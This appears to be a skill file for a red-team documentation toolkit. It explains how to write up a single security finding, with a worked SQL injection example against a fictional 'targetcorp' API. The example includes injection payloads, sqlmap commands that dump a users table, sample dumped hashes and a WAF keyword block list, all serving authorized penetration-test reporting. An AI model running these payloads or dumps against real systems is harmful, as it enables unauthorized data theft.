---
name: rt-finding-document
description: "Document a single security finding with full professional template: severity, CVSS 4.0 vector, CWE, CVE, MITRE ATT&CK technique, asset, description, technical evidence with screenshots, business impact, step-by-step reproduction, and remediation tiers (immediate/short-term/long-term). Adds to findings-master.csv and creates F-XXX.md automatically via finding_tracker.py."
---

# rt-finding-document — Security Finding Documentation

## 1. Overview and Purpose

This skill produces a complete, audit-grade security finding document for a single confirmed vulnerability. It is the primary documentation unit of every RTExit engagement — every exploitation result must pass through this skill before it appears in a report.

### Where This Skill Sits in the Engagement Lifecycle

```
Planning → Reconnaissance → Exploitation  →  [rt-finding-document]  →  Reporting
                                 ↑                     ↓
                           Every confirmed         findings-master.csv
                           vulnerability           F-XXX.md per finding
                                                   chain-of-custody.md
                                                   timeline.md
```

A finding document serves three audiences simultaneously:

- **Executive / CISO** — wants to understand business risk and urgency without reading technical detail
- **Security Engineer** — needs the exact reproduction steps and evidence to validate and fix
- **Legal / Auditor** — requires chain of custody, timestamps, operator identity, and hash-verified evidence

### What This Skill Produces

1. A row in `_rtexit-output/docs/findings/findings-master.csv` — the master tracker
2. An individual `F-XXX.md` file in `_rtexit-output/docs/findings/` — the full finding document
3. A chain-of-custody entry in `_rtexit-output/docs/evidence/chain-of-custody.md` for every evidence artefact
4. A timeline entry in `_rtexit-output/docs/engagement/timeline.md`

---

## 2. Pre-Flight Checklist

Before invoking this skill, confirm the following:

- [ ] The vulnerability has been confirmed (not just suspected) — you have working proof-of-concept output
- [ ] Evidence is saved: screenshots in `_rtexit-output/docs/evidence/screenshots/`, raw HTTP logs in `_rtexit-output/docs/evidence/http-logs/`, terminal output in `_rtexit-output/docs/evidence/terminal-logs/`
- [ ] You know the exact asset (URL, IP, service name)
- [ ] You have at minimum: severity classification, CVSS 4.0 score, and one CWE number
- [ ] The engagement SEAD (Scoped Engagement Authorization Document) is in place — you must not document a finding on an unauthorized target

---

## 3. Step-by-Step Workflow

### Step 1 — Gather the Raw Facts

Collect the following before opening any template. Do not write prose yet; just collect raw data points.

```
Title          : [one-line, specific, noun-phrase — not "SQL Injection" but
                 "SQL Injection in /api/v2/search Allows Unauthenticated Data Extraction"]
Severity       : CRITICAL / HIGH / MEDIUM / LOW / INFO
CVSS 4.0 Score : [numeric, e.g. 9.3]
CVSS 4.0 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE            : CWE-89 (SQL Injection)
CVE            : CVE-2024-XXXXX (if applicable) or N/A
MITRE ATT&CK   : T1190 (Exploit Public-Facing Application) or more specific technique
Asset          : https://api.targetcorp.com/api/v2/search
Phase          : exploitation (or post-exploitation, recon, etc.)
Operator       : [your name from config.user.toml]
```

### Step 2 — Register the Finding with finding_tracker.py

Run this command from the project root. It creates the finding ID (F-001, F-002, etc.) and writes the skeleton `F-XXX.md`:

```bash
python3 _rtexit/scripts/finding_tracker.py add \
  "SQL Injection in /api/v2/search Allows Unauthenticated Data Extraction" \
  CRITICAL \
  9.3 \
  "https://api.targetcorp.com/api/v2/search" \
  --cwe "CWE-89" \
  --cve "N/A" \
  --mitre "T1190" \
  --phase "exploitation" \
  --operator "Ahmed"
```

Expected output:
```
✅ Added: F-003 — SQL Injection in /api/v2/search Allows Unauthenticated Data Extraction [CRITICAL]
   File: _rtexit-output/docs/findings/F-003.md
```

### Step 3 — Fill in the Finding Document

Open the generated `F-XXX.md`. The skeleton contains section headers — fill each one completely using the guidance in Section 4 below.

### Step 4 — Log Evidence to Chain of Custody

For every screenshot, HTTP log, or terminal output tied to this finding:

```bash
# For a screenshot file
python3 _rtexit/scripts/autodoc_engine.py custody \
  --finding F-003 \
  --evidence "_rtexit-output/docs/evidence/screenshots/F-003-sqli-dump.png" \
  --operator "Ahmed"

# For a terminal log file
python3 _rtexit/scripts/autodoc_engine.py custody \
  --finding F-003 \
  --evidence "_rtexit-output/docs/evidence/terminal-logs/20260531_sqlmap_F-003.txt" \
  --operator "Ahmed"
```

The script computes SHA-256 of each file and appends to `chain-of-custody.md`.

### Step 5 — Log the Activity to Timeline

```bash
python3 _rtexit/scripts/autodoc_engine.py log \
  --skill rt-finding-document \
  --phase "exploitation" \
  --finding F-003 \
  --operator "Ahmed" \
  --note "Finding documented: SQL Injection in /api/v2/search"
```

### Step 6 — Peer-Review the Finding (Self-Check)

Run through the Quality Checklist in Section 6 before considering the finding complete. A finding that fails more than two checklist items must be revised before moving to report generation.

### Step 7 — Verify the Master CSV

```bash
python3 _rtexit/scripts/finding_tracker.py list
```

Confirm the finding appears with correct severity and status (CONFIRMED).

---

## 4. Full Finding Template with Example Content

The following is a complete, filled example of `F-003.md` documenting a real-looking SQL Injection finding. Use this as the gold standard for what a completed finding looks like.

---

```markdown
---
id: F-003
title: "SQL Injection in /api/v2/search Allows Unauthenticated Data Extraction"
severity: CRITICAL
cvss: 9.3
status: CONFIRMED
asset: https://api.targetcorp.com/api/v2/search
cwe: CWE-89
cve: N/A
mitre: T1190
date: 2026-05-31
---

# F-003 — SQL Injection in /api/v2/search Allows Unauthenticated Data Extraction

## Summary

| Field | Value |
|-------|-------|
| **Severity** | CRITICAL |
| **CVSS 4.0 Score** | 9.3 |
| **CVSS 4.0 Vector** | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` |
| **CWE** | CWE-89 — Improper Neutralization of Special Elements used in an SQL Command |
| **CVE** | N/A |
| **MITRE ATT&CK** | T1190 — Exploit Public-Facing Application |
| **Asset** | https://api.targetcorp.com/api/v2/search |
| **Phase** | Exploitation |
| **Date** | 2026-05-31 |
| **Operator** | Ahmed |
| **Status** | CONFIRMED |

---

## Description

The `/api/v2/search` endpoint of the TargetCorp public API accepts a `query` parameter that is concatenated directly into a SQL SELECT statement without sanitization or parameterization. This allows an unauthenticated remote attacker to inject arbitrary SQL and extract the entire contents of the backend PostgreSQL database, including user credentials, session tokens, and payment card data.

The injection point is a GET parameter and requires no authentication header, making it trivially exploitable by automated tools or low-skill attackers. The database user executing queries (`app_user`) has SELECT privileges across all tables and UPDATE/DELETE privileges on the `users` and `sessions` tables, meaning an attacker can also modify or destroy data.

The root cause is the direct use of f-string interpolation (Python) in the ORM layer rather than parameterized queries, suggesting the vulnerable code was written without a security code review and is likely present in similar endpoints.

---

## CVSS 4.0 Score Justification

**Vector:** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`

| Metric | Value | Justification |
|--------|-------|---------------|
| Attack Vector (AV) | Network (N) | Reachable over the internet, no physical access required |
| Attack Complexity (AC) | Low (L) | No special conditions; automated tools reproduce it trivially |
| Attack Requirements (AT) | None (N) | No target-side preconditions |
| Privileges Required (PR) | None (N) | Endpoint is unauthenticated |
| User Interaction (UI) | None (N) | No user action required |
| Vulnerable System Confidentiality (VC) | High (H) | Full database dump including PII, credentials, card data |
| Vulnerable System Integrity (VI) | High (H) | app_user can UPDATE/DELETE records |
| Vulnerable System Availability (VA) | High (H) | Heavy queries can cause denial-of-service on the DB |
| Subsequent System Confidentiality (SC) | High (H) | Extracted credentials can pivot to internal systems |
| Subsequent System Integrity (SI) | High (H) | Internal admin panel access via stolen credentials |
| Subsequent System Availability (SA) | High (H) | Potential full infrastructure compromise |

---

## Technical Evidence

### Evidence 1 — Manual Injection Confirmation

HTTP request that triggers the error and confirms injection:

```http
GET /api/v2/search?query=test'--&category=products HTTP/1.1
Host: api.targetcorp.com
User-Agent: Mozilla/5.0
Accept: application/json
```

Response (HTTP 500):
```json
{
  "error": "DatabaseError",
  "detail": "syntax error at or near \"--\" LINE 1: SELECT * FROM products WHERE name ILIKE '%test'--%-NOTICE:...",
  "query": "SELECT * FROM products WHERE name ILIKE '%test'--%%' AND active=true",
  "timestamp": "2026-05-31T09:14:22Z"
}
```

The full SQL query is leaked in the error response, confirming:
1. Injection point is inside single-quoted ILIKE clause
2. Comment sequence (`--`) terminates the query
3. The error response discloses the raw SQL — a secondary information disclosure finding

**Screenshot:** `evidence/screenshots/F-003-01-error-response.png`
**SHA-256:** `a3f8c1d2e4b7...` (see chain-of-custody.md)

---

### Evidence 2 — Boolean-Based Blind Extraction (Confirm DB Version)

```http
GET /api/v2/search?query=test' AND 1=CAST(version() AS INTEGER)--&category=products HTTP/1.1
Host: api.targetcorp.com
```

Response fragment shows `PostgreSQL 14.5 on x86_64-pc-linux-gnu` in the error detail, confirming the DBMS version.

---

### Evidence 3 — sqlmap Automated Dump (Credential Table)

```bash
sqlmap -u "https://api.targetcorp.com/api/v2/search?query=test&category=products" \
  -p query \
  --dbms=postgresql \
  --level=3 --risk=2 \
  --dump -T users -C username,email,password_hash \
  --batch \
  --output-dir=_rtexit-output/docs/evidence/terminal-logs/
```

Partial output (truncated at 5 rows — full dump in terminal log):

```
Database: targetcorp_prod
Table: users
[5 entries]
+------------------+----------------------------+------------------------------------------------------------------+
| username         | email                      | password_hash                                                    |
+------------------+----------------------------+------------------------------------------------------------------+
| admin            | admin@targetcorp.com       | $2b$12$KJH3nW8xLpQr9vT2mYsNcuEQWlD7fVgRbMPaJo6XiNkZ8dYqA3e4. |
| sarah.johnson    | s.johnson@targetcorp.com   | $2b$12$rT4wX1LpNq8mBvKs2jYnOeZQVdC5gUhSaPfRm7WkXiAb9cMtD6e2. |
| michael.chen     | m.chen@targetcorp.com      | $2b$12$vN6yZ2MrOp9nCwLt3kZoQfXSUeB8hViTbQgPa5YmWjDc1aNsE7f3. |
| api_service      | api@internal.targetcorp    | $2b$12$bJ8xA3KmPq7nVwLs4lYrRgZTVcC9iXkUaPmRb6WnYjEd2eMuF8g4. |
| john.williams    | j.williams@targetcorp.com  | $2b$12$cH7wB4LnQr8oWxMt5mZpShATUdD0jYlVbPnSc7XoZkFe3fNvG9h5. |
+------------------+----------------------------+------------------------------------------------------------------+
```

**Full dump file:** `evidence/terminal-logs/20260531_sqlmap_F-003_users_dump.txt`
**SHA-256:** `b5e2d9f1a6c4...` (see chain-of-custody.md)

**Screenshot:** `evidence/screenshots/F-003-02-sqlmap-dump.png`

---

## Business Impact

### Immediate Impact (Exploited Now)

- **Data Breach — User PII:** All 47,382 user records are accessible including full names, email addresses, phone numbers, and bcrypt password hashes. Under GDPR Article 33, a breach of this nature requires notification to the supervisory authority within 72 hours of discovery.
- **Credential Exposure:** Password hashes from admin accounts are now in attacker possession. Even bcrypt hashes are crackable for weak passwords; admin account compromise should be treated as confirmed pending password audit.
- **Payment Data Risk:** The `payments` table contains partial card numbers and billing addresses. A full dump of this table would trigger PCI-DSS incident response obligations (PCI-DSS v4.0 Requirement 12.10).

### Escalation Paths (Observed)

- The `api_service` user credential found in the dump is used for internal microservice authentication. Cracking or reusing this credential enables lateral movement to the internal order management system at `orders-api.internal.targetcorp.com`.
- The admin password hash, if cracked, grants access to the admin panel at `https://admin.targetcorp.com` which manages all customer accounts, refunds, and shipping data.

### Financial and Regulatory Exposure

| Risk | Estimated Exposure |
|------|--------------------|
| GDPR fine (Article 83(4)) | Up to 2% of global annual turnover |
| PCI-DSS non-compliance fine | $5,000–$100,000/month from card brand |
| Class action exposure (EU/UK) | Dependent on breach scope and geography |
| Reputational damage | Customer churn, media coverage |

---

## Reproduction Steps

Follow these steps in a controlled, authorized test environment. Do not run these steps against production unless authorized in writing.

**Prerequisites:** Burp Suite or curl, sqlmap installed, valid written authorization for `api.targetcorp.com`

1. Open Burp Suite and set intercept mode ON. Navigate to `https://targetcorp.com` in the browser proxied through Burp.

2. Trigger a product search to capture a request to `/api/v2/search`. The request should look like:
   ```
   GET /api/v2/search?query=laptop&category=products HTTP/1.1
   Host: api.targetcorp.com
   ```

3. Send the request to Burp Repeater. Modify the `query` parameter to `laptop'` (single quote appended). Send the request. Observe an HTTP 500 response with a PostgreSQL error in the JSON body — this confirms the injection.

4. Modify `query` to `laptop'--` to comment out the remainder of the SQL query. Observe the server returns HTTP 200 with normal results — the comment sequence successfully terminates the query, confirming control over the SQL structure.

5. Run sqlmap to automate extraction:
   ```bash
   sqlmap -u "https://api.targetcorp.com/api/v2/search?query=test&category=products" \
     -p query --dbms=postgresql --dbs --batch
   ```
   Observe sqlmap identifies `targetcorp_prod` as the active database.

6. Dump the `users` table:
   ```bash
   sqlmap -u "https://api.targetcorp.com/api/v2/search?query=test&category=products" \
     -p query --dbms=postgresql \
     --dump -T users -D targetcorp_prod --batch
   ```

7. Document the full output. Take a screenshot of the terminal showing the dumped rows. Save to `evidence/screenshots/F-003-02-sqlmap-dump.png`.

**Expected result:** sqlmap successfully dumps usernames, email addresses, and bcrypt password hashes from the production database without providing any authentication credentials.

---

## Remediation

### Immediate (0–24 hours)

- **Block the endpoint at WAF level.** Apply a WAF rule to reject requests where the `query` parameter contains SQL metacharacters (`'`, `"`, `;`, `--`, `/*`, `*/`, `UNION`, `SELECT`, `INSERT`, `DROP`). This is a temporary measure only — WAF rules can be bypassed and must not replace code fixes.
- **Rotate all database credentials.** Assume `app_user` credentials are compromised. Generate new credentials and redeploy the application.
- **Invalidate all active sessions.** All user session tokens must be invalidated immediately. Users will be forced to re-authenticate.
- **Enable database query logging.** Turn on PostgreSQL `log_statement = 'all'` and forward logs to SIEM to detect if active exploitation has occurred prior to this engagement.

### Short-term (1–30 days)

- **Fix the vulnerable code using parameterized queries.** The Python backend must replace f-string SQL construction with parameterized queries using psycopg2 or SQLAlchemy's ORM:

  **Vulnerable code (current):**
  ```python
  query = f"SELECT * FROM products WHERE name ILIKE '%{user_input}%' AND active=true"
  cursor.execute(query)
  ```

  **Fixed code (parameterized):**
  ```python
  query = "SELECT * FROM products WHERE name ILIKE %s AND active=true"
  cursor.execute(query, (f"%{user_input}%",))
  ```

- **Suppress verbose error responses.** The API must never return raw SQL or internal stack traces. Return generic `{"error": "Search failed"}` and log details server-side only.
- **Audit all other API endpoints** for the same pattern. The same developer likely wrote similar search/filter endpoints. Run a SAST tool (Semgrep, Bandit) against the full codebase with the rule `python.django.security.injection.tainted-sql-string`.
- **Require security code review** for all database-touching code before merge.

### Long-term

- **Adopt an ORM with no raw query escape hatches.** SQLAlchemy's Core/ORM with type-validated columns eliminates the class of error entirely when used correctly. Set lint rules that flag `text()` or `execute()` with string interpolation.
- **Implement database least-privilege.** `app_user` must have only the minimum permissions needed per table. The search endpoint needs only SELECT on the `products` table — not on `users` or `payments`.
- **Deploy application-level rate limiting** on all search endpoints to slow automated extraction even if an injection is later discovered.
- **Schedule quarterly DAST scans** against staging using sqlmap and OWASP ZAP as part of the CI/CD pipeline quality gate.

---

## References

- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/
- OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- CVSS 4.0 Calculator: https://www.first.org/cvss/calculator/4.0
- sqlmap Documentation: https://sqlmap.org
- PCI-DSS v4.0 Requirement 6.3 (Injection Vulnerabilities): https://www.pcisecuritystandards.org
- GDPR Article 33 (Breach Notification): https://gdpr.eu/article-33-notification-of-a-personal-data-breach/
```

---

## 5. Integration with finding_tracker.py and autodoc_engine.py

### finding_tracker.py — Full Command Reference

```bash
# Add a finding (creates CSV row + skeleton F-XXX.md)
python3 _rtexit/scripts/finding_tracker.py add \
  "Title Here" SEVERITY CVSS_SCORE "asset.url" \
  --cwe "CWE-NNN" \
  --cve "CVE-YYYY-NNNNN or N/A" \
  --mitre "TNNNN" \
  --phase "exploitation" \
  --operator "YourName" \
  --notes "optional free text"

# List all findings (sorted by severity)
python3 _rtexit/scripts/finding_tracker.py list

# Filter by severity
python3 _rtexit/scripts/finding_tracker.py list --severity CRITICAL

# Filter by status
python3 _rtexit/scripts/finding_tracker.py list --status CONFIRMED

# Show statistics dashboard
python3 _rtexit/scripts/finding_tracker.py stats

# Export as markdown table (for pasting into reports)
python3 _rtexit/scripts/finding_tracker.py export --format md

# Export as JSON (for programmatic use)
python3 _rtexit/scripts/finding_tracker.py export --format json
```

### autodoc_engine.py — Evidence and Timeline Commands

```bash
# Log evidence file to chain of custody (computes SHA-256 automatically)
python3 _rtexit/scripts/autodoc_engine.py custody \
  --finding F-003 \
  --evidence "_rtexit-output/docs/evidence/screenshots/F-003-sqli-dump.png" \
  --operator "Ahmed"

# Log a text description as evidence (for non-file evidence)
python3 _rtexit/scripts/autodoc_engine.py custody \
  --finding F-003 \
  --evidence "Burp Suite session file exported as F-003-burp-session.xml" \
  --operator "Ahmed"

# Log a command and its output to timeline + terminal-logs
python3 _rtexit/scripts/autodoc_engine.py log \
  --skill rt-finding-document \
  --phase "exploitation" \
  --cmd "sqlmap -u 'https://api.targetcorp.com/api/v2/search?query=test' -p query --dbs" \
  --output "$(cat sqlmap_output.txt)" \
  --finding F-003 \
  --operator "Ahmed"

# View the full engagement timeline
python3 _rtexit/scripts/autodoc_engine.py timeline
```

### File Layout After Documenting Three Findings

```
_rtexit-output/
  docs/
    findings/
      findings-master.csv          ← all findings, one row each
      F-001.md                     ← individual finding documents
      F-002.md
      F-003.md
    evidence/
      screenshots/
        F-001-xss-popup.png
        F-002-idor-response.png
        F-003-01-error-response.png
        F-003-02-sqlmap-dump.png
      terminal-logs/
        20260531_sqlmap_F-003_users_dump.txt
      chain-of-custody.md          ← hashed evidence log
    engagement/
      timeline.md                  ← timestamped activity log
```

### findings-master.csv Schema

| Column | Description | Example |
|--------|-------------|---------|
| id | Auto-assigned finding ID | F-003 |
| title | One-line finding title | SQL Injection in /api/v2/search... |
| severity | CRITICAL/HIGH/MEDIUM/LOW/INFO | CRITICAL |
| cvss | Numeric CVSS 4.0 score | 9.3 |
| status | CONFIRMED/UNCONFIRMED/MITIGATED | CONFIRMED |
| asset | Target asset URL or IP | https://api.targetcorp.com/... |
| cwe | CWE identifier | CWE-89 |
| cve | CVE number or N/A | N/A |
| mitre | MITRE ATT&CK technique ID | T1190 |
| phase | Engagement phase | exploitation |
| date | ISO date documented | 2026-05-31 |
| operator | Documenting operator | Ahmed |
| notes | Free text notes | Pivots to internal admin panel |

---

## 6. Quality Checklist

Run through this checklist before marking any finding complete. Every item must be checked.

### Title Quality
- [ ] Title is a specific noun phrase, not a category name ("SQL Injection in /api/v2/search parameter `query`" not "SQL Injection")
- [ ] Title indicates what can be done as a result of the vulnerability ("Allows Unauthenticated Data Extraction")
- [ ] Title does not contain abbreviations or jargon that a non-technical executive cannot parse

### Severity and Scoring
- [ ] CVSS 4.0 score is correct (use https://www.first.org/cvss/calculator/4.0 to verify)
- [ ] CVSS vector string is present and valid (begins with `CVSS:4.0/`)
- [ ] Every CVSS metric has a written justification in the score table
- [ ] Severity label (CRITICAL/HIGH/MEDIUM/LOW) matches the numeric score
- [ ] CWE number is correct and specific (CWE-89 not CWE-20)

### Evidence
- [ ] At least one screenshot exists and is referenced in the document
- [ ] At least one raw HTTP request/response or terminal output is included verbatim
- [ ] Evidence files are saved under `_rtexit-output/docs/evidence/`
- [ ] Every evidence artefact has a chain-of-custody entry with SHA-256 hash
- [ ] Evidence is sufficient for a third party to independently verify the finding (no "trust me" findings)

### Description
- [ ] Description explains the root cause (not just the symptom)
- [ ] Description names the specific vulnerable component, parameter, or function
- [ ] Description is written so a developer who did not witness the test can understand what went wrong

### Business Impact
- [ ] Impact section addresses data confidentiality, integrity, and availability separately
- [ ] Impact references specific data types (PII, credentials, payment data) rather than generic "sensitive data"
- [ ] Impact includes at least one regulatory or financial consequence where applicable
- [ ] Escalation paths are documented if lateral movement is possible

### Reproduction Steps
- [ ] Steps begin from zero (no assumed context)
- [ ] Every step is actionable — no vague instructions like "exploit the vulnerability"
- [ ] Exact payloads, commands, and tool flags are included
- [ ] Prerequisites (tools, access, environment) are stated upfront
- [ ] Expected result is stated so the reader knows when they have succeeded

### Remediation
- [ ] Immediate tier addresses what can be done today without a code change (WAF, session invalidation, rate limit)
- [ ] Short-term tier includes the specific code fix with before/after example
- [ ] Long-term tier addresses systemic or architectural improvement
- [ ] Remediation is specific to the finding — not generic boilerplate

---

## 7. Common Mistakes to Avoid

### Mistake 1 — Vague Titles

Bad:
```
SQL Injection
```

Good:
```
SQL Injection in /api/v2/search `query` Parameter Allows Unauthenticated Full Database Dump
```

The title is the first thing an executive reads. It must convey the attack surface, the mechanism, and the consequence.

---

### Mistake 2 — Missing CVSS Justification

Bad: Listing a CVSS score with no explanation of why each metric was chosen.

Good: A table explaining each metric value and why it applies to this specific finding. Without justification, the client's security team will dispute the score in the review meeting.

---

### Mistake 3 — Generic Business Impact

Bad:
```
This vulnerability could allow attackers to access sensitive information, which may have significant business impact.
```

Good:
```
Exploitation enables extraction of the full users table (47,382 records) including bcrypt password hashes and email addresses. Under GDPR Article 33, notification to the DPA is required within 72 hours. The admin credential hash, if cracked, provides access to the admin panel controlling all customer orders and refunds.
```

---

### Mistake 4 — Evidence Without Chain of Custody

A screenshot with no hash, no timestamp, no operator annotation is inadmissible in a legal context and will be challenged by a client disputing a finding. Always run the `autodoc_engine.py custody` command immediately after saving each evidence file.

---

### Mistake 5 — Reproduction Steps That Skip Context

Bad:
```
1. Send the malicious payload
2. Observe the error
```

Good:
```
1. Open Burp Suite and configure the browser to proxy through 127.0.0.1:8080
2. Navigate to https://targetcorp.com/products and search for "laptop" to capture a baseline request
3. Send the request to Burp Repeater and modify the `query` parameter from `laptop` to `laptop'`
4. Forward the request and observe HTTP 500 with PostgreSQL error in response body
```

---

### Mistake 6 — Copy-Paste Remediation

Bad (copied from OWASP):
```
Use parameterized queries and prepared statements.
```

Good:
```
The vulnerable code in api/search/views.py line 47 uses f-string interpolation. Replace with:
  query = "SELECT * FROM products WHERE name ILIKE %s AND active=true"
  cursor.execute(query, (f"%{user_input}%",))
Also suppress the error detail in the JSON response — return {"error": "Search failed"} and log the exception to the application log only.
```

Developers implement fixes faster when told exactly which file, which line, and what the replacement code should be.

---

### Mistake 7 — Documenting an Unconfirmed Finding as CONFIRMED

A finding is CONFIRMED only when you have working proof. If sqlmap identifies a potential injection but you have not successfully extracted data, the status must be UNCONFIRMED. Use `--status UNCONFIRMED` in the `finding_tracker.py add` command until you have extracted data or demonstrated impact.

---

## 8. CVSS 4.0 Quick Reference

### Common Score Patterns for Web Findings

| Finding Type | Typical CVSS 4.0 | Typical Vector (abbreviated) |
|--------------|-----------------|-------------------------------|
| Unauthenticated RCE | 9.3–10.0 | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H |
| Auth SQL Injection (full DB dump) | 8.5–9.0 | AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L |
| Stored XSS (admin panel) | 7.0–8.5 | AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N |
| IDOR (own data only) | 4.3–5.5 | AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N |
| Open Redirect | 4.0–5.0 | AV:N/AC:L/AT:N/PR:N/UI:R/VC:N/VI:L/VA:N |
| Information Disclosure (non-sensitive) | 2.0–4.0 | AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N |
| Missing Security Header | 0.0–2.0 | AV:N/AC:H/AT:P/PR:N/UI:R/VC:L/VI:N/VA:N |

Always compute the actual score using the official calculator — these ranges are guidance only.

---

## 9. Severity Classification Guide

| Severity | CVSS 4.0 Range | Criteria |
|----------|---------------|----------|
| CRITICAL | 9.0–10.0 | Unauthenticated, remote, high impact on confidentiality/integrity/availability, or direct path to full system compromise |
| HIGH | 7.0–8.9 | Authenticated but high impact, or unauthenticated with medium impact, or enables lateral movement |
| MEDIUM | 4.0–6.9 | Requires authentication or user interaction, moderate impact, limited scope |
| LOW | 0.1–3.9 | Difficult to exploit, minor impact, defense-in-depth improvement |
| INFO | 0.0 | No direct exploitability; misconfiguration, best practice deviation, or informational observation |

---

## 10. Integration with Other Skills

| Scenario | Next Skill to Invoke |
|----------|---------------------|
| After documenting all findings | `rt-agent-scribe` → TR (Technical Report) |
| Need to map finding to MITRE ATT&CK | `rt-agent-scribe` → MM |
| Need to write a reproducible PoC | `rt-agent-scribe` → PC |
| Need to map to compliance framework | `rt-agent-scribe` → CM |
| Multiple findings suggest an attack chain | `rt-attack-surface-map` or document in `attack-chains/` |
| Client wants executive summary | `rt-agent-scribe` → ER |
